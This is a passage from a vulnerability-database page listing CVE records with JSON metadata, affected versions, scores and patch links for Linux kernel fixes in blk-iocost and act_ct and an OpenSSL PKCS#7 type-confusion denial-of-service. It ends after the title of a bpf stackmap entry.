              "status": "unaffected",
              "version": "5.15.159",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.91",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.31",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.217",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.159",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.91",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.31",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.10",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nblk-iocost: avoid out of bounds shift\n\nUBSAN catches undefined behavior in blk-iocost, where sometimes\niocg-\u003edelay is shifted right by a number that is too large,\nresulting in undefined behavior on some architectures.\n\n[  186.556576] ------------[ cut here ]------------\nUBSAN: shift-out-of-bounds in block/blk-iocost.c:1366:23\nshift exponent 64 is too large for 64-bit type \u0027u64\u0027 (aka \u0027unsigned long long\u0027)\nCPU: 16 PID: 0 Comm: swapper/16 Tainted: G S          E    N 6.9.0-0_fbk700_debug_rc2_kbuilder_0_gc85af715cac0 #1\nHardware name: Quanta Twin Lakes MP/Twin Lakes Passive MP, BIOS F09_3A23 12/08/2020\nCall Trace:\n \u003cIRQ\u003e\n dump_stack_lvl+0x8f/0xe0\n __ubsan_handle_shift_out_of_bounds+0x22c/0x280\n iocg_kick_delay+0x30b/0x310\n ioc_timer_fn+0x2fb/0x1f80\n __run_timer_base+0x1b6/0x250\n...\n\nAvoid that undefined behavior by simply taking the\n\"delay = 0\" branch if the shift is too large.\n\nI am not sure what the symptoms of an undefined value\ndelay will be, but I suspect it could be more than a\nlittle annoying to debug."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:16:58.208Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/62accf6c1d7b433752cb3591bba8967b7a801ad5"
        },
        {
          "url": "https://git.kernel.org/stable/c/844fc023e9f14a4fb1de5ae1eaefafd6d69c5fa1"
        },
        {
          "url": "https://git.kernel.org/stable/c/f6add0a6f78dc6360b822ca4b6f9f2f14174c8ca"
        },
        {
          "url": "https://git.kernel.org/stable/c/ce0e99cae00e3131872936713b7f55eefd53ab86"
        },
        {
          "url": "https://git.kernel.org/stable/c/488dc6808cb8369685f18cee81e88e7052ac153b"
        },
        {
          "url": "https://git.kernel.org/stable/c/beaa51b36012fad5a4d3c18b88a617aea7a9b96d"
        }
      ],
      "title": "blk-iocost: avoid out of bounds shift",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-36916",
    "datePublished": "2024-05-30T15:29:12.745Z",
    "dateReserved": "2024-05-30T15:25:07.068Z",
    "dateUpdated": "2026-05-12T11:54:15.519Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-22796 (GCVE-0-2026-22796)

Vulnerability from cvelistv5 – Published: 2026-01-27 16:01 – Updated: 2026-05-12 12:08

Title

ASN1_TYPE Type Confusion in the PKCS7_digest_from_attributes() function

Summary

Issue summary: A type confusion vulnerability exists in the signature verification of signed PKCS#7 data where an ASN1_TYPE union member is accessed without first validating the type, causing an invalid or NULL pointer dereference when processing malformed PKCS#7 data. Impact summary: An application performing signature verification of PKCS#7 data or calling directly the PKCS7_digest_from_attributes() function can be caused to dereference an invalid or NULL pointer when reading, resulting in a Denial of Service. The function PKCS7_digest_from_attributes() accesses the message digest attribute value without validating its type. When the type is not V_ASN1_OCTET_STRING, this results in accessing invalid memory through the ASN1_TYPE union, causing a crash. Exploiting this vulnerability requires an attacker to provide a malformed signed PKCS#7 to an application that verifies it. The impact of the exploit is just a Denial of Service, the PKCS7 API is legacy and applications should be using the CMS API instead. For these reasons the issue was assessed as Low severity. The FIPS modules in 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the PKCS#7 parsing implementation is outside the OpenSSL FIPS module boundary. OpenSSL 3.6, 3.5, 3.4, 3.3, 3.0, 1.1.1 and 1.0.2 are vulnerable to this issue.

Severity ?

No CVSS data available.

CWE

CWE-754 - Improper Check for Unusual or Exceptional Conditions

Assigner

openssl

References

6 references

URL	Tags
https://openssl-library.org/news/secadv/20260127.txt	vendor-advisory
https://github.com/openssl/openssl/commit/ef2fb66…	patch
https://github.com/openssl/openssl/commit/2502e7b…	patch
https://github.com/openssl/openssl/commit/7bbca05…	patch
https://github.com/openssl/openssl/commit/eeee3cb…	patch
https://github.com/openssl/openssl/commit/572844b…	patch

Impacted products

1 product

Vendor	Product	Version
OpenSSL	OpenSSL	Affected: 3.6.0 , < 3.6.1 (semver) Affected: 3.5.0 , < 3.5.5 (semver) Affected: 3.4.0 , < 3.4.4 (semver) Affected: 3.3.0 , < 3.3.6 (semver) Affected: 3.0.0 , < 3.0.19 (semver) Affected: 1.1.1 , < 1.1.1ze (custom) Affected: 1.0.2 , < 1.0.2zn (custom)

Date Public ?

2026-01-27 14:00

Credits

Luigino Camastra (Aisle Research) Bob Beck

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "LOW",
              "baseScore": 5.3,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2026-22796",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-01-27T16:27:50.351586Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-01-27T16:28:52.046Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:08:55.117Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "OpenSSL",
          "vendor": "OpenSSL",
          "versions": [
            {
              "lessThan": "3.6.1",
              "status": "affected",
              "version": "3.6.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.5.5",
              "status": "affected",
              "version": "3.5.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.4.4",
              "status": "affected",
              "version": "3.4.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.3.6",
              "status": "affected",
              "version": "3.3.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.0.19",
              "status": "affected",
              "version": "3.0.0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.1.1ze",
              "status": "affected",
              "version": "1.1.1",
              "versionType": "custom"
            },
            {
              "lessThan": "1.0.2zn",
              "status": "affected",
              "version": "1.0.2",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "Luigino Camastra (Aisle Research)"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "value": "Bob Beck"
        }
      ],
      "datePublic": "2026-01-27T14:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Issue summary: A type confusion vulnerability exists in the signature\u003cbr\u003everification of signed PKCS#7 data where an ASN1_TYPE union member is\u003cbr\u003eaccessed without first validating the type, causing an invalid or NULL\u003cbr\u003epointer dereference when processing malformed PKCS#7 data.\u003cbr\u003e\u003cbr\u003eImpact summary: An application performing signature verification of PKCS#7\u003cbr\u003edata or calling directly the PKCS7_digest_from_attributes() function can be\u003cbr\u003ecaused to dereference an invalid or NULL pointer when reading, resulting in\u003cbr\u003ea Denial of Service.\u003cbr\u003e\u003cbr\u003eThe function PKCS7_digest_from_attributes() accesses the message digest attribute\u003cbr\u003evalue without validating its type. When the type is not V_ASN1_OCTET_STRING,\u003cbr\u003ethis results in accessing invalid memory through the ASN1_TYPE union, causing\u003cbr\u003ea crash.\u003cbr\u003e\u003cbr\u003eExploiting this vulnerability requires an attacker to provide a malformed\u003cbr\u003esigned PKCS#7 to an application that verifies it. The impact of the\u003cbr\u003eexploit is just a Denial of Service, the PKCS7 API is legacy and applications\u003cbr\u003eshould be using the CMS API instead. For these reasons the issue was\u003cbr\u003eassessed as Low severity.\u003cbr\u003e\u003cbr\u003eThe FIPS modules in 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\u003cbr\u003eas the PKCS#7 parsing implementation is outside the OpenSSL FIPS module\u003cbr\u003eboundary.\u003cbr\u003e\u003cbr\u003eOpenSSL 3.6, 3.5, 3.4, 3.3, 3.0, 1.1.1 and 1.0.2 are vulnerable to this issue."
            }
          ],
          "value": "Issue summary: A type confusion vulnerability exists in the signature\nverification of signed PKCS#7 data where an ASN1_TYPE union member is\naccessed without first validating the type, causing an invalid or NULL\npointer dereference when processing malformed PKCS#7 data.\n\nImpact summary: An application performing signature verification of PKCS#7\ndata or calling directly the PKCS7_digest_from_attributes() function can be\ncaused to dereference an invalid or NULL pointer when reading, resulting in\na Denial of Service.\n\nThe function PKCS7_digest_from_attributes() accesses the message digest attribute\nvalue without validating its type. When the type is not V_ASN1_OCTET_STRING,\nthis results in accessing invalid memory through the ASN1_TYPE union, causing\na crash.\n\nExploiting this vulnerability requires an attacker to provide a malformed\nsigned PKCS#7 to an application that verifies it. The impact of the\nexploit is just a Denial of Service, the PKCS7 API is legacy and applications\nshould be using the CMS API instead. For these reasons the issue was\nassessed as Low severity.\n\nThe FIPS modules in 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\nas the PKCS#7 parsing implementation is outside the OpenSSL FIPS module\nboundary.\n\nOpenSSL 3.6, 3.5, 3.4, 3.3, 3.0, 1.1.1 and 1.0.2 are vulnerable to this issue."
        }
      ],
      "metrics": [
        {
          "format": "other",
          "other": {
            "content": {
              "text": "Low"
            },
            "type": "https://openssl-library.org/policies/general/security-policy/"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-754",
              "description": "CWE-754 Improper Check for Unusual or Exceptional Conditions",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-01-27T16:01:28.150Z",
        "orgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
        "shortName": "openssl"
      },
      "references": [
        {
          "name": "OpenSSL Advisory",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://openssl-library.org/news/secadv/20260127.txt"
        },
        {
          "name": "3.6.1 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/ef2fb66ec571564d64d1c74a12e388a2a54d05d2"
        },
        {
          "name": "3.5.5 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/2502e7b7d4c0cf4f972a881641fe09edc67aeec4"
        },
        {
          "name": "3.4.4 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/7bbca05be55b129651d9df4bdb92becc45002c12"
        },
        {
          "name": "3.3.6 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/eeee3cbd4d682095ed431052f00403004596373e"
        },
        {
          "name": "3.0.19 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/572844beca95068394c916626a6d3a490f831a49"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "ASN1_TYPE Type Confusion in the PKCS7_digest_from_attributes() function",
      "x_generator": {
        "engine": "Vulnogram 0.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
    "assignerShortName": "openssl",
    "cveId": "CVE-2026-22796",
    "datePublished": "2026-01-27T16:01:28.150Z",
    "dateReserved": "2026-01-09T18:54:13.571Z",
    "dateUpdated": "2026-05-12T12:08:55.117Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-42272 (GCVE-0-2024-42272)

Vulnerability from cvelistv5 – Published: 2024-08-17 08:54 – Updated: 2026-05-12 11:56

Title

sched: act_ct: take care of padding in struct zones_ht_key

Summary

In the Linux kernel, the following vulnerability has been resolved: sched: act_ct: take care of padding in struct zones_ht_key Blamed commit increased lookup key size from 2 bytes to 16 bytes, because zones_ht_key got a struct net pointer. Make sure rhashtable_lookup() is not using the padding bytes which are not initialized. BUG: KMSAN: uninit-value in rht_ptr_rcu include/linux/rhashtable.h:376 [inline] BUG: KMSAN: uninit-value in __rhashtable_lookup include/linux/rhashtable.h:607 [inline] BUG: KMSAN: uninit-value in rhashtable_lookup include/linux/rhashtable.h:646 [inline] BUG: KMSAN: uninit-value in rhashtable_lookup_fast include/linux/rhashtable.h:672 [inline] BUG: KMSAN: uninit-value in tcf_ct_flow_table_get+0x611/0x2260 net/sched/act_ct.c:329 rht_ptr_rcu include/linux/rhashtable.h:376 [inline] __rhashtable_lookup include/linux/rhashtable.h:607 [inline] rhashtable_lookup include/linux/rhashtable.h:646 [inline] rhashtable_lookup_fast include/linux/rhashtable.h:672 [inline] tcf_ct_flow_table_get+0x611/0x2260 net/sched/act_ct.c:329 tcf_ct_init+0xa67/0x2890 net/sched/act_ct.c:1408 tcf_action_init_1+0x6cc/0xb30 net/sched/act_api.c:1425 tcf_action_init+0x458/0xf00 net/sched/act_api.c:1488 tcf_action_add net/sched/act_api.c:2061 [inline] tc_ctl_action+0x4be/0x19d0 net/sched/act_api.c:2118 rtnetlink_rcv_msg+0x12fc/0x1410 net/core/rtnetlink.c:6647 netlink_rcv_skb+0x375/0x650 net/netlink/af_netlink.c:2550 rtnetlink_rcv+0x34/0x40 net/core/rtnetlink.c:6665 netlink_unicast_kernel net/netlink/af_netlink.c:1331 [inline] netlink_unicast+0xf52/0x1260 net/netlink/af_netlink.c:1357 netlink_sendmsg+0x10da/0x11e0 net/netlink/af_netlink.c:1901 sock_sendmsg_nosec net/socket.c:730 [inline] __sock_sendmsg+0x30f/0x380 net/socket.c:745 ____sys_sendmsg+0x877/0xb60 net/socket.c:2597 ___sys_sendmsg+0x28d/0x3c0 net/socket.c:2651 __sys_sendmsg net/socket.c:2680 [inline] __do_sys_sendmsg net/socket.c:2689 [inline] __se_sys_sendmsg net/socket.c:2687 [inline] __x64_sys_sendmsg+0x307/0x4a0 net/socket.c:2687 x64_sys_call+0x2dd6/0x3c10 arch/x86/include/generated/asm/syscalls_64.h:47 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xcd/0x1e0 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f Local variable key created at: tcf_ct_flow_table_get+0x4a/0x2260 net/sched/act_ct.c:324 tcf_ct_init+0xa67/0x2890 net/sched/act_ct.c:1408

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/7c03ab555eb1ba26c…
https://git.kernel.org/stable/c/3ddefcb8f75e31253…
https://git.kernel.org/stable/c/d06daf0ad645d9225…
https://git.kernel.org/stable/c/d7cc186d0973afce0…
https://git.kernel.org/stable/c/3a5b68869dbe14f11…
https://git.kernel.org/stable/c/2191a54f63225b548…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 03f625505e27f709390a86c9b78d3707f4c23df8 , < 7c03ab555eb1ba26c77fd7c25bdf44a0ac23edee (git) Affected: aa1f81fe3a059bc984b230b5352ab89d06aa3c7b , < 3ddefcb8f75e312535e2e7d5fef9932019ba60f2 (git) Affected: 2f82f75f843445daa81e8b2a76774b1348033ce6 , < d06daf0ad645d9225a3ff6958dd82e1f3988fa64 (git) Affected: 9126fd82e9edc7b4796f756e4b258d34f17e5e4a , < d7cc186d0973afce0e1237c37f7512c01981fb79 (git) Affected: 88c67aeb14070bab61d3dd8be96c8b42ebcaf53a , < 3a5b68869dbe14f1157c6a24ac71923db060eeab (git) Affected: 88c67aeb14070bab61d3dd8be96c8b42ebcaf53a , < 2191a54f63225b548fd8346be3611c3219a24738 (git) Affected: b4382b854975ae96fbfcc83a1d79b5c063c1aaa8 (git)
Linux	Linux	Affected: 6.10 Unaffected: 0 , < 6.10 (semver) Unaffected: 5.10.224 , ≤ 5.10.* (semver) Unaffected: 5.15.165 , ≤ 5.15.* (semver) Unaffected: 6.1.104 , ≤ 6.1.* (semver) Unaffected: 6.6.45 , ≤ 6.6.* (semver) Unaffected: 6.10.4 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-42272",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:12:08.203348Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-12T17:33:05.421Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:03:10.064Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:43.232Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/sched/act_ct.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "7c03ab555eb1ba26c77fd7c25bdf44a0ac23edee",
              "status": "affected",
              "version": "03f625505e27f709390a86c9b78d3707f4c23df8",
              "versionType": "git"
            },
            {
              "lessThan": "3ddefcb8f75e312535e2e7d5fef9932019ba60f2",
              "status": "affected",
              "version": "aa1f81fe3a059bc984b230b5352ab89d06aa3c7b",
              "versionType": "git"
            },
            {
              "lessThan": "d06daf0ad645d9225a3ff6958dd82e1f3988fa64",
              "status": "affected",
              "version": "2f82f75f843445daa81e8b2a76774b1348033ce6",
              "versionType": "git"
            },
            {
              "lessThan": "d7cc186d0973afce0e1237c37f7512c01981fb79",
              "status": "affected",
              "version": "9126fd82e9edc7b4796f756e4b258d34f17e5e4a",
              "versionType": "git"
            },
            {
              "lessThan": "3a5b68869dbe14f1157c6a24ac71923db060eeab",
              "status": "affected",
              "version": "88c67aeb14070bab61d3dd8be96c8b42ebcaf53a",
              "versionType": "git"
            },
            {
              "lessThan": "2191a54f63225b548fd8346be3611c3219a24738",
              "status": "affected",
              "version": "88c67aeb14070bab61d3dd8be96c8b42ebcaf53a",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "b4382b854975ae96fbfcc83a1d79b5c063c1aaa8",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/sched/act_ct.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.10"
            },
            {
              "lessThan": "6.10",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.224",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.165",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.104",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.45",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.224",
                  "versionStartIncluding": "5.10.221",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.165",
                  "versionStartIncluding": "5.15.162",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.104",
                  "versionStartIncluding": "6.1.96",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.45",
                  "versionStartIncluding": "6.6.36",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.4",
                  "versionStartIncluding": "6.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "6.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.9.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsched: act_ct: take care of padding in struct zones_ht_key\n\nBlamed commit increased lookup key size from 2 bytes to 16 bytes,\nbecause zones_ht_key got a struct net pointer.\n\nMake sure rhashtable_lookup() is not using the padding bytes\nwhich are not initialized.\n\n BUG: KMSAN: uninit-value in rht_ptr_rcu include/linux/rhashtable.h:376 [inline]\n BUG: KMSAN: uninit-value in __rhashtable_lookup include/linux/rhashtable.h:607 [inline]\n BUG: KMSAN: uninit-value in rhashtable_lookup include/linux/rhashtable.h:646 [inline]\n BUG: KMSAN: uninit-value in rhashtable_lookup_fast include/linux/rhashtable.h:672 [inline]\n BUG: KMSAN: uninit-value in tcf_ct_flow_table_get+0x611/0x2260 net/sched/act_ct.c:329\n  rht_ptr_rcu include/linux/rhashtable.h:376 [inline]\n  __rhashtable_lookup include/linux/rhashtable.h:607 [inline]\n  rhashtable_lookup include/linux/rhashtable.h:646 [inline]\n  rhashtable_lookup_fast include/linux/rhashtable.h:672 [inline]\n  tcf_ct_flow_table_get+0x611/0x2260 net/sched/act_ct.c:329\n  tcf_ct_init+0xa67/0x2890 net/sched/act_ct.c:1408\n  tcf_action_init_1+0x6cc/0xb30 net/sched/act_api.c:1425\n  tcf_action_init+0x458/0xf00 net/sched/act_api.c:1488\n  tcf_action_add net/sched/act_api.c:2061 [inline]\n  tc_ctl_action+0x4be/0x19d0 net/sched/act_api.c:2118\n  rtnetlink_rcv_msg+0x12fc/0x1410 net/core/rtnetlink.c:6647\n  netlink_rcv_skb+0x375/0x650 net/netlink/af_netlink.c:2550\n  rtnetlink_rcv+0x34/0x40 net/core/rtnetlink.c:6665\n  netlink_unicast_kernel net/netlink/af_netlink.c:1331 [inline]\n  netlink_unicast+0xf52/0x1260 net/netlink/af_netlink.c:1357\n  netlink_sendmsg+0x10da/0x11e0 net/netlink/af_netlink.c:1901\n  sock_sendmsg_nosec net/socket.c:730 [inline]\n  __sock_sendmsg+0x30f/0x380 net/socket.c:745\n  ____sys_sendmsg+0x877/0xb60 net/socket.c:2597\n  ___sys_sendmsg+0x28d/0x3c0 net/socket.c:2651\n  __sys_sendmsg net/socket.c:2680 [inline]\n  __do_sys_sendmsg net/socket.c:2689 [inline]\n  __se_sys_sendmsg net/socket.c:2687 [inline]\n  __x64_sys_sendmsg+0x307/0x4a0 net/socket.c:2687\n  x64_sys_call+0x2dd6/0x3c10 arch/x86/include/generated/asm/syscalls_64.h:47\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xcd/0x1e0 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nLocal variable key created at:\n  tcf_ct_flow_table_get+0x4a/0x2260 net/sched/act_ct.c:324\n  tcf_ct_init+0xa67/0x2890 net/sched/act_ct.c:1408"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:29:08.639Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/7c03ab555eb1ba26c77fd7c25bdf44a0ac23edee"
        },
        {
          "url": "https://git.kernel.org/stable/c/3ddefcb8f75e312535e2e7d5fef9932019ba60f2"
        },
        {
          "url": "https://git.kernel.org/stable/c/d06daf0ad645d9225a3ff6958dd82e1f3988fa64"
        },
        {
          "url": "https://git.kernel.org/stable/c/d7cc186d0973afce0e1237c37f7512c01981fb79"
        },
        {
          "url": "https://git.kernel.org/stable/c/3a5b68869dbe14f1157c6a24ac71923db060eeab"
        },
        {
          "url": "https://git.kernel.org/stable/c/2191a54f63225b548fd8346be3611c3219a24738"
        }
      ],
      "title": "sched: act_ct: take care of padding in struct zones_ht_key",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-42272",
    "datePublished": "2024-08-17T08:54:26.755Z",
    "dateReserved": "2024-07-30T07:40:12.260Z",
    "dateUpdated": "2026-05-12T11:56:43.232Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26883 (GCVE-0-2024-26883)

Vulnerability from cvelistv5 – Published: 2024-04-17 10:27 – Updated: 2026-05-12 11:50

Title

bpf: Fix stackmap overflow check on 32-bit arches

Summary

